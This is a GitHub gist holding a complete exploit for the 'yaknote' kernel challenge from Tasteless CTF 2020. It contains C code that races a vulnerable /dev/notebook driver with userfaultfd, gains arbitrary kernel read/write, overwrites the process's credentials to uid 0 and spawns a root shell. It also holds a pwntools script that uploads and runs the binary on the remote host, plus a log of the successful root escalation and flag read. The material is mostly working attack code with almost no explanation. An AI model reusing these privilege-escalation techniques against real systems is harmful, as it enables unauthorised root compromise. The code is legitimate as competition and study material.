Last active
October 5, 2020 01:23
-
-
Save d4em0n/ce00a029242a54bd32ff3fd3fde70f44 to your computer and use it in GitHub Desktop.
Tasteless CTF 2020: yaknote exploit script
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// gcc -static -o exploit2 exploit2.c -lpthread | |
// NOTE: compiling using uclibc to get small sized binary | |
#include <stdio.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <poll.h> | |
#include <pthread.h> | |
#include <unistd.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <linux/userfaultfd.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#define PAGESIZE 4096 | |
#define PID_OFFSET 1168 | |
#define TASKS_OFFSET 912 | |
#define CRED_OFFSET 1592 | |
int hack; | |
int hack2; | |
int hack3; | |
int hack4; | |
typedef struct { | |
unsigned long a1; | |
unsigned long a2; | |
unsigned long a3; | |
} req; | |
int Open(const char *fname, int mode) { | |
int fd = open(fname, mode); | |
if (fd < 0) { | |
perror("open"); | |
exit(-1); | |
} | |
return fd; | |
} | |
void alloc(int fd, char* buf, unsigned long size) { | |
req request; | |
request.a1 = (unsigned long)buf; | |
request.a2 = size; | |
request.a3 = 12; | |
int ret = ioctl(fd, 0x40086101, &request); | |
} | |
void read_data(int fd, unsigned long idx, char* buf, unsigned long size) { | |
req request; | |
request.a1 = idx; | |
request.a2 = (unsigned long)buf; | |
request.a3 = size; | |
int ret = ioctl(fd, 0x80087201, &request); | |
} | |
void write_data(int fd, unsigned long idx, char* buf, unsigned long size) { | |
req request; | |
request.a1 = idx; | |
request.a2 = (unsigned long)buf; | |
request.a3 = size; | |
int ret = ioctl(fd, 0x40086501, &request); | |
} | |
int userfaultfd(int flags) | |
{ | |
return syscall(323, flags); // userfaultfd | |
} | |
void *alloc_hack(void *memory) | |
{ | |
int ret = ioctl(hack, 0x40086101, memory); | |
return NULL; | |
} | |
int prepareUFD(void* pages, unsigned long memsize) { | |
int fd = 0; | |
if ((fd = userfaultfd(O_NONBLOCK)) == -1) { | |
fprintf(stderr, "++ userfaultfd failed: %m\n"); | |
exit(-1); | |
} | |
struct uffdio_api api = { .api = UFFD_API }; | |
if (ioctl(fd, UFFDIO_API, &api)) { | |
fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n"); | |
exit(-1); | |
} | |
if (api.api != UFFD_API) { | |
fprintf(stderr, "++ unexepcted UFFD api version.\n"); | |
exit(-1); | |
} | |
struct uffdio_register reg = { | |
.mode = UFFDIO_REGISTER_MODE_MISSING, | |
.range = { | |
.start = (long) pages, | |
.len = memsize | |
} | |
}; | |
if (ioctl(fd, UFFDIO_REGISTER, ®)) { | |
fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n"); | |
exit(-1); | |
} | |
if (reg.ioctls != UFFD_API_RANGE_IOCTLS) { | |
fprintf(stderr, "++ unexpected UFFD ioctls.\n"); | |
exit(-1); | |
} | |
return fd; | |
} | |
void craft_addr(unsigned long addr) { | |
unsigned long pay[4]; | |
int i; | |
pay[0] = 0x20; | |
pay[1] = addr; | |
pay[2] = 0; | |
pay[3] = 0x20; | |
for(i=0;i<2;i++) { | |
write_data(hack3, i+2, &pay, 0x20); | |
} | |
} | |
void write64(unsigned long value, unsigned long addr) { | |
unsigned long buf = value; | |
craft_addr(addr); | |
write_data(hack2, 1, &buf, 8); | |
} | |
unsigned long read64(unsigned long addr) { | |
char buf2[0x100]; | |
unsigned long buf; | |
craft_addr(addr); | |
read_data(hack2, 1, &buf, 8); | |
return buf; | |
} | |
int main(int argc, char** argv) { | |
int i; | |
char buf[0x30]; | |
char *leak_page; | |
int leak_fd; | |
unsigned long rop_addr; | |
void *pages[32]; | |
char* pay = malloc(0x1000); | |
char* pay2 = malloc(0x1000); | |
int fd, fd2; | |
int fds[32]; | |
int tmp_hack; | |
hack = Open("/dev/notebook", O_RDWR); | |
alloc(hack,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20); | |
alloc(hack,"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", 0x20); | |
alloc(hack,"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC", 0x20); | |
hack2 = Open("/dev/notebook", O_RDWR); | |
alloc(hack2, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20); | |
alloc(hack2, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", 0x20); | |
hack3 = Open("/dev/notebook", O_RDWR); | |
alloc(hack3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x200); | |
alloc(hack3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x200); | |
/* start a thread that will fault... */ | |
for(i=0;i<32;i++) { | |
if ((pages[i] = mmap(NULL, PAGESIZE, PROT_READ, | |
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) { | |
fprintf(stderr, "++ mmap failed: %m\n"); | |
return -1; | |
} | |
printf("create page%d=%p\n", i, pages[i]); | |
fds[i] = prepareUFD(pages[i], 0x1000); | |
} | |
pthread_t thread[32] = {}; | |
for(i=0; i<32; i++) { | |
printf("creating thread%d, alloc mem=%p\n", i, pages[i]); | |
if (pthread_create(&thread[i], NULL, alloc_hack, pages[i])) { | |
fprintf(stderr, "++ pthread_create failed: %m\n"); | |
return -1; | |
} | |
} | |
sleep(5); | |
printf("done\n"); | |
hack4 = Open("/dev/notebook", O_RDWR); | |
alloc(hack4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20); | |
close(hack4); | |
unsigned long payy[4]; | |
unsigned long b; | |
// b is hack2's private_data address+0x20. this address is we want to overwrite to get arvitrary read/write | |
b = strtoul(argv[1], NULL, 16); | |
printf("addr=%p\n", b); | |
payy[0] = b; | |
payy[1] = b; | |
payy[2] = b; | |
payy[3] = b; | |
write_data(hack, 32, &payy, 0x20); | |
for(i=0;i<2;i++) { | |
alloc(hack3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20); | |
} | |
unsigned long init_task = 0xffffffff82412840; | |
unsigned long cur = init_task, cred; | |
unsigned int pid; | |
unsigned int this_pid = getpid(); | |
printf("test read init_task = %p\n", read64(init_task)); | |
printf("Press enter to get root.. "); | |
fflush(stdout); | |
getchar(); | |
while(1) { | |
pid = read64(cur + PID_OFFSET)&0xffffffff; | |
if (pid == this_pid) { | |
cred = read64(cur + CRED_OFFSET); | |
fprintf(stderr, "Found current process(pid=%d)'s cred struct %p\n", pid, (void *)cred); | |
fprintf(stderr, "original uid=%d, gid=%d. now escalating to root\n", read64(cred + 4)&0xffffffff, read64(cred + 8)&0xffffffff); | |
write64(0x0, cred + 4); | |
write64(0x0, cred + 12); | |
write64(0x0, cred + 20); | |
write64(0x0, cred + 28); | |
fprintf(stderr, "now i am uid=%d\n", getuid()); | |
system("/bin/sh"); | |
break; | |
} | |
cur = read64(cur + TASKS_OFFSET) - TASKS_OFFSET; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[+] Opening connection to okboomer.tasteless.eu on port 10901: Done | |
solving d114201b680c3ef7 for prefix 000000 | |
solved! 25390872 | |
[*] touch /home/user/a.gz.b64 | |
[*] Sending chunk 0/34 | |
[*] Sending chunk 1/34 | |
[*] Sending chunk 2/34 | |
[*] Sending chunk 3/34 | |
[*] Sending chunk 4/34 | |
[*] Sending chunk 5/34 | |
[*] Sending chunk 6/34 | |
[*] Sending chunk 7/34 | |
[*] Sending chunk 8/34 | |
[*] Sending chunk 9/34 | |
[*] Sending chunk 10/34 | |
[*] Sending chunk 11/34 | |
[*] Sending chunk 12/34 | |
[*] Sending chunk 13/34 | |
[*] Sending chunk 14/34 | |
[*] Sending chunk 15/34 | |
[*] Sending chunk 16/34 | |
[*] Sending chunk 17/34 | |
[*] Sending chunk 18/34 | |
[*] Sending chunk 19/34 | |
[*] Sending chunk 20/34 | |
[*] Sending chunk 21/34 | |
[*] Sending chunk 22/34 | |
[*] Sending chunk 23/34 | |
[*] Sending chunk 24/34 | |
[*] Sending chunk 25/34 | |
[*] Sending chunk 26/34 | |
[*] Sending chunk 27/34 | |
[*] Sending chunk 28/34 | |
[*] Sending chunk 29/34 | |
[*] Sending chunk 30/34 | |
[*] Sending chunk 31/34 | |
[*] Sending chunk 32/34 | |
[*] Sending chunk 33/34 | |
[*] Sending chunk 34/34 | |
[*] cat /home/user/a.gz.b64 | base64 -d > /home/user/a.gz | |
[*] gzip -d /home/user/a.gz | |
[*] chmod +x /home/user/a | |
[*] Switching to interactive mode | |
/ $ $ ls /home/user/a | |
ls /home/user/a | |
/home/user/a | |
/ $ $ /home/user/a 0xffff88800ebac320 | |
/home/user/a 0xffff88800ebac320 | |
create page0=0x7fc9329c9000 | |
create page1=0x7fc9329c8000 | |
create page2=0x7fc9329c7000 | |
create page3=0x7fc9329c6000 | |
create page4=0x7fc9329c5000 | |
create page5=0x7fc9329c4000 | |
create page6=0x7fc9329c3000 | |
create page7=0x7fc9329c2000 | |
create page8=0x7fc9329c1000 | |
create page9=0x7fc9329c0000 | |
create page10=0x7fc9329bf000 | |
create page11=0x7fc9329be000 | |
create page12=0x7fc9329bd000 | |
create page13=0x7fc9329bc000 | |
create page14=0x7fc9329bb000 | |
create page15=0x7fc9329ba000 | |
create page16=0x7fc9329b9000 | |
create page17=0x7fc9329b8000 | |
create page18=0x7fc9329b7000 | |
create page19=0x7fc9329b6000 | |
create page20=0x7fc9329b5000 | |
create page21=0x7fc9329b4000 | |
create page22=0x7fc9329b3000 | |
create page23=0x7fc9329b2000 | |
create page24=0x7fc9329b1000 | |
create page25=0x7fc9329b0000 | |
create page26=0x7fc9329af000 | |
create page27=0x7fc9329ae000 | |
create page28=0x7fc9329ad000 | |
create page29=0x7fc9329ac000 | |
create page30=0x7fc9329ab000 | |
create page31=0x7fc9329aa000 | |
creating thread0, alloc mem=0x7fc9329c9000 | |
creating thread1, alloc mem=0x7fc9329c8000 | |
creating thread2, alloc mem=0x7fc9329c7000 | |
creating thread3, alloc mem=0x7fc9329c6000 | |
creating thread4, alloc mem=0x7fc9329c5000 | |
creating thread5, alloc mem=0x7fc9329c4000 | |
creating thread6, alloc mem=0x7fc9329c3000 | |
creating thread7, alloc mem=0x7fc9329c2000 | |
creating thread8, alloc mem=0x7fc9329c1000 | |
creating thread9, alloc mem=0x7fc9329c0000 | |
creating thread10, alloc mem=0x7fc9329bf000 | |
creating thread11, alloc mem=0x7fc9329be000 | |
creating thread12, alloc mem=0x7fc9329bd000 | |
creating thread13, alloc mem=0x7fc9329bc000 | |
creating thread14, alloc mem=0x7fc9329bb000 | |
creating thread15, alloc mem=0x7fc9329ba000 | |
creating thread16, alloc mem=0x7fc9329b9000 | |
creating thread17, alloc mem=0x7fc9329b8000 | |
creating thread18, alloc mem=0x7fc9329b7000 | |
creating thread19, alloc mem=0x7fc9329b6000 | |
creating thread20, alloc mem=0x7fc9329b5000 | |
creating thread21, alloc mem=0x7fc9329b4000 | |
creating thread22, alloc mem=0x7fc9329b3000 | |
creating thread23, alloc mem=0x7fc9329b2000 | |
creating thread24, alloc mem=0x7fc9329b1000 | |
creating thread25, alloc mem=0x7fc9329b0000 | |
creating thread26, alloc mem=0x7fc9329af000 | |
creating thread27, alloc mem=0x7fc9329ae000 | |
creating thread28, alloc mem=0x7fc9329ad000 | |
creating thread29, alloc mem=0x7fc9329ac000 | |
creating thread30, alloc mem=0x7fc9329ab000 | |
creating thread31, alloc mem=0x7fc9329aa000 | |
done | |
addr=0xffff88800ebac320 | |
test read init_task = 0x4000 | |
Press enter to get root.. $ | |
Found current process(pid=79)'s cred struct 0xffff88800eb7b300 | |
original uid=1000, gid=1000. now escalating to root | |
now i am uid=0 | |
/bin/sh: can't access tty; job control turned off | |
/ # $ ls | |
ls | |
bin flag.txt linuxrc sbin yaknote.ko | |
dev home proc sys | |
etc init root usr | |
/ # $ cat flag.txt | |
cat flag.txt | |
tstlss{1_pw0m1se,!7_w4sN't_my_f4u1t_th15_t1m3}/ # [*] Got EOF while reading in interactive |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import time | |
from hashlib import sha1 | |
from re import compile | |
from telnetlib import Telnet | |
from socket import socket | |
def proof(t, prefix): | |
i = 0 | |
while True: | |
if sha1(str(t + str(i)).encode()).hexdigest().startswith(prefix): | |
return str(i) | |
i += 1 | |
regex = compile(r"sha1\(([a-f0-9]+), input\) prefix = ([a-f0-9]+)...") | |
def solve(t): | |
t, prefix = regex.findall(str(t))[0] | |
print("solving " + t + " for prefix " + prefix) | |
p = proof(t, prefix) | |
print("solved! " + p) | |
return p | |
def send_command(cmd, print_cmd = True, print_resp = False): | |
if print_cmd: | |
log.info(cmd) | |
p.sendlineafter("/ $", cmd) | |
resp = p.recvuntil("/ $") | |
if print_resp: | |
log.info(resp) | |
p.unrecv("/ $") | |
return resp | |
def send_file(name): | |
file = read(name) | |
f = b64e(file) | |
send_command("touch /home/user/a.gz.b64") | |
size = 800 | |
for i in range(len(f)//size + 1): | |
log.info("Sending chunk {}/{}".format(i, len(f)//size)) | |
send_command("echo -n '{}'>>/home/user/a.gz.b64".format(f[i*size:(i+1)*size]), False) | |
send_command("cat /home/user/a.gz.b64 | base64 -d > /home/user/a.gz") | |
send_command("gzip -d /home/user/a.gz") | |
send_command("chmod +x /home/user/a") | |
def exploit(): | |
send_file("exploit2.gz") | |
p.interactive() | |
if __name__ == "__main__": | |
#context.log_level = 'debug' | |
#p = remote("your_server", 10101) | |
REMOTE = 1 | |
if REMOTE: | |
p = remote("okboomer.tasteless.eu", 10901) | |
challenge = str(p.recvuntil("\n", drop=True), 'utf-8') | |
ans = solve(challenge) | |
p.sendline(ans) | |
else: | |
p = process("./run.sh") | |
time.sleep(5) | |
exploit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment